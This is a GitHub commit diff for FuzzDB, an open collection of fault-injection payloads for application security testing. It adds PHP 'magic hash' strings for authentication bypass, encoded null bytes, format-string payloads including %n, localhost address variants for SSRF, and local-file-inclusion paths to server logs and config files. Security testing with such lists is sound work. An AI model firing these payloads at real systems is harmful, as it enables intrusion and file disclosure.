Skip to content

Commit c738693

Browse files
amuntneramuntner
authored
Merge branch 'master' into patch-17
2 parents b3ada4a + 0b1c6be commit c738693

File tree

28 files changed

+71821
-1402
lines changed

28 files changed

+71821
-1402
lines changed

‎.gitignore

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
*.DS_Store

‎README.md

+10-4
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,8 @@
1-
FuzzDB was created to increase the likelihood of causing and identifying conditions of security interest through dynamic application security testing. It's the first and most comprehensive open dictionary of fault injection patterns, predictable resource locations, and regex for matching server responses.
1+
_____________________________________
2+
FYI: The /web-backdoors folder may trigger anti-virus scanners.
3+
_____________________________________
4+
5+
FuzzDB was created to increase the likelihood of finding application security vulnerabilities through dynamic application security testing. It's the first and most comprehensive open dictionary of fault injection patterns, predictable resource locations, and regex for matching server responses.
26

37
**Attack Patterns -**
48
FuzzDB contains comprehensive lists of [attack payload](https://github.com/fuzzdb-project/fuzzdb/tree/master/attack) primitives for fault injection testing.
@@ -64,20 +68,22 @@ Other security tools and projects that incorporate FuzzzDB in whole or part
6468
**Preferred method is to check out sources via git, new payloads are added frequently**
6569

6670
```
67-
git clone https://github.com/fuzzdb-project/fuzzdb.git
71+
git clone https://github.com/fuzzdb-project/fuzzdb.git --depth 1
6872
6973
```
7074
While in the FuzzDB dir, you can update your local repo with the command
7175
```
7276
git pull
7377
```
74-
You can also browse the [FuzzDB github sources](https://github.com/fuzzdb-project/fuzzdb/) and there is always a [zip file](https://github.com/fuzzdb-project/fuzzdb/archive/master.zip)
78+
This Stackoverflow gives ideas on how to keep your local repository tidy: https://stackoverflow.com/questions/38171899/how-to-reduce-the-depth-of-an-existing-git-clone/46004595#46004595
79+
80+
You can also browse the [FuzzDB github sources](https://github.com/fuzzdb-project/fuzzdb/) and there is always a fresh [zip file](https://github.com/fuzzdb-project/fuzzdb/archive/master.zip)
7581

7682
Note: Some antivirus/antimalware software will alert on FuzzDB. To resolve, the filepath should be whitelisted. There is nothing in FuzzDB that can harm your computer as-is, however due to the risk of local file include attacks it's not recommended to store this repository on a server or other important system.
7783

7884
### Who ###
7985
FuzzDB was created by Adam Muntner (amuntner @ gmail.com)
80-
FuzzDB (c) Copyright Adam Muntner, 2010-2017
86+
FuzzDB (c) Copyright Adam Muntner, 2010-2019
8187
Portions copyrighted by others, as noted in commit comments and README.md files.
8288

8389
The FuzzDB license is New BSD and Creative Commons by Attribution. The ultimate goal of this project is to make the patterns contained within obsolete. If you use this project in your work, research, or commercial product, you are required to cite it. That's it. I always enjoy hearing about how people are using it to find an interesting bug or in a tool, send me an email and let me know.

‎_copyright.txt

+1-1
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
Copyright (c) 2010-2017, Adam Muntner
1+
Copyright (c) 2010-2019, Adam Muntner
22
All rights reserved.
33

44
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

‎attack/authentication/README.md

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
2+
php_magic_hashes.fuzz.txt - See, https://www.whitehatsec.com/blog/magic-hashes/
3+
"the following “magic” strings are substantially more likely to evaluate to true when hashed given a completely random hash..."
4+

‎attack/authentication/php_magic_hashes.fuzz.txt

+24
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
00e00099
2+
00e05651056780370631793326323796
3+
00e1839085851394356611454660337505469745
4+
00e2521569708250889666329543741175098562
5+
00e38549671092424173928143648452
6+
00e4706040169225543861400227305532507173
7+
0e015339760548602306096794382326
8+
0e01697014920826425936632356870426876167
9+
0e074025
10+
0e07766915004133176347055865026311692244
11+
0e251331818775808475952406672980
12+
0e266546927425668450445617970135
13+
0e316321729023182394301371028665
14+
0e34042599806027333661050958199580964722
15+
0e462097431906509019562988736854
16+
0e4868841162506296635201967091461310754872302741
17+
0e495317064156922585933029613272
18+
0e591528
19+
0e684322
20+
0e69173478833895223726165786906905141502
21+
0e73845709713699
22+
0e817678
23+
0e908730200858058999593322639865
24+
0e9108479697641294204710754930487725109982883677

‎attack/control-chars/NullByteRepresentations.txt

+7
Original file line numberDiff line numberDiff line change
@@ -54,3 +54,10 @@ u"\u0000"
5454
%FE%80%80%80%80%80%80
5555

5656
�
57+
%2500
58+
%252500
59+
%25252500
60+
%25%30%30
61+
\x%30%30
62+
%%30%30
63+
%25%2530%2530

‎attack/control-chars/true.txt

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
TRUE
2+
true
3+
1
4+
-1
5+
4294967295
6+
0xFFFFFFFF
7+
\FFFFFFFF
8+
\FFFFFFFF\
9+
\xFFFFFFFF

‎attack/format-strings/format-strings.txt

+10
Original file line numberDiff line numberDiff line change
@@ -55,3 +55,13 @@ ppppp%x
5555
ppppp%n
5656
%@
5757
%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@%@
58+
%*
59+
%*p
60+
%*x
61+
%*s
62+
%*S
63+
%*$*
64+
%*$*p
65+
%*$*x
66+
%*$*s
67+
%*$*S

‎attack/ip/localhost.txt

+10-1
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@
1010
2130706434
1111
7F000001
1212
7F000002
13-
localhost
13+
localhos
1414
127.123.123.123
1515
0x7f.1
1616
017700000001
@@ -53,3 +53,12 @@ test.localtest.me
5353
0000:0000:0000:0000:0000:ffff:127.0.0.1
5454
A.34.192.228.43.1time.127.0.0.1.99times.repeat.rebind.network
5555
hostname
56+
0177.1
57+
0177.2
58+
0177.0.1
59+
0177.0.2
60+
017700000001
61+
017700000002
62+
0x7F000001
63+
0x7F000002
64+
0X07f.0.0.1

‎attack/lfi/common-unix-httpd-log-locations.txt

+22
Original file line numberDiff line numberDiff line change
@@ -16,6 +16,7 @@
1616
/var/log/apache2/access_log
1717
/var/log/apache/access.log
1818
/var/log/apache2/access.log
19+
/var/log/apache2/other_vhosts_access.log
1920
/var/log/access_log
2021
/var/log/access.log
2122
/var/www/logs/error_log
@@ -28,3 +29,24 @@
2829
/var/log/apache2/error.log
2930
/var/log/error_log
3031
/var/log/error.log
32+
/var/log/nginx/error.log
33+
/var/log/nginx/access.log
34+
/opt/apache2/conf/httpd.conf
35+
/opt/apache/conf/httpd.conf
36+
/opt/lampp/logs/access_log
37+
/opt/lampp/logs/access.log
38+
/opt/lampp/logs/error_log
39+
/opt/lampp/logs/error.log
40+
/opt/xampp/etc/php.ini
41+
/opt/xampp/logs/access_log
42+
/opt/xampp/logs/access.log
43+
/opt/xampp/logs/error_log
44+
/opt/xampp/logs/error.log
45+
/opt/bitnami/apache2/logs/access_log
46+
/opt/bitnami/apache2/logs/error_log
47+
/var/log/httpd/error_log
48+
/var/log/httpd/access_log
49+
/var/log/apache2/error.log
50+
/var/log/apache2/access.log
51+
/var/log/httpd-error.log
52+
/var/log/httpd-access.log

0 commit comments

Comments
 (0)